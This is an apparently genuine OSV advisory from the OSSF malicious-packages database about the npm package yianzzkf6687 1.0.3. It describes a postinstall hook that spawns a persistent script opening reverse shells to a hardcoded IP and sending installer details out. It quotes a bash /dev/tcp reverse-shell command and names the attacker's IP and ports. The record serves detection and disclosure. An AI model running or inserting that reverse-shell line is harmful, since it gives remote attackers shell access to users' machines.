{"id":"MAL-2026-6235","summary":"Malicious code in yianzzkf6687 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (a59a0aee58573b3030b9d541980fa9d7df8ea55d4e6cc5b3bb349452b908d0e9)\nOn `npm install`, the postinstall hook (`scripts/postinstall.js`) detach-spawns `scripts/shell.js` with `detached: true, stdio: 'ignore', windowsHide: true` and `unref()`s it, so the malicious process persists silently after `npm install` returns. `scripts/shell.js` hardcodes `HOST = '114.67.90.67'` and opens reverse shells to that IP across multiple fallback ports (3334, 4444, 443, 80, 8080, 53) using Node `net`, `bash -c \"bash -i \u003e& /dev/tcp/\u003cHOST\u003e/\u003cport\u003e 0\u003e&1\"`, and a Python fallback, then uses `setInterval` to keep the process alive. It also sends an HTTP GET to `http://114.67.90.67:8333/ping` with the installer's hostname, username, cwd, and OS platform/release as query parameters, confirming victim acquisition. The package advertises itself as a string-manipulation utility, providing cover for the backdoor. Installing this package gives the operator of 114.67.90.67 interactive shell access on the installer's machine.\n","modified":"2026-06-20T05:16:46.206870145Z","published":"2026-06-20T03:50:25Z","database_specific":{"malicious-packages-origins":[{"versions":["1.0.3"],"id":"IN-MAL-2026-007092","import_time":"2026-06-20T04:58:37.570611768Z","modified_time":"2026-06-20T03:50:25Z","sha256":"a59a0aee58573b3030b9d541980fa9d7df8ea55d4e6cc5b3bb349452b908d0e9","source":"amazon-inspector"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/yianzzkf6687/v/1.0.3"}],"affected":[{"package":{"name":"yianzzkf6687","ecosystem":"npm","purl":"pkg:npm/yianzzkf6687"},"versions":["1.0.3"],"database_specific":{"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"path":"scripts/shell.js","sha256":"9a9278d74630388e996735bb2e778f572010a2952c9304495f41cbd43adbecee","tlsh":"7081a5b445ba442d3377975f820b103163aba1072d1ae6a836bc53436fd2dbc5863af4"},{"tlsh":"b8e0eb2ab3a2023cb1bac7c0bb5a33372a0b9700a3901020c9ae1067078739e81330e7","path":"scripts/postinstall.js","sha256":"20d2859a52b6f2bf12083b85a9332ef9c4be9dbdceab735e0789c7f15bb5a5c7"}],"package_integrity":[{"hashes":{"sha512_sri":"sha512-BPpQ4y4/2cqgA6To94RtsJYv4GoLB4803eKmDGgQUTTvSO38CAaFprcCOmY0A9y5jTMUzqEiarNGay1hYyyf0g==","sha1":"46b01418bc3dd1e15c4e2d40f4137973e0809ab1"},"filename":"yianzzkf6687-1.0.3.tgz"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/yianzzkf6687/MAL-2026-6235.json"}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}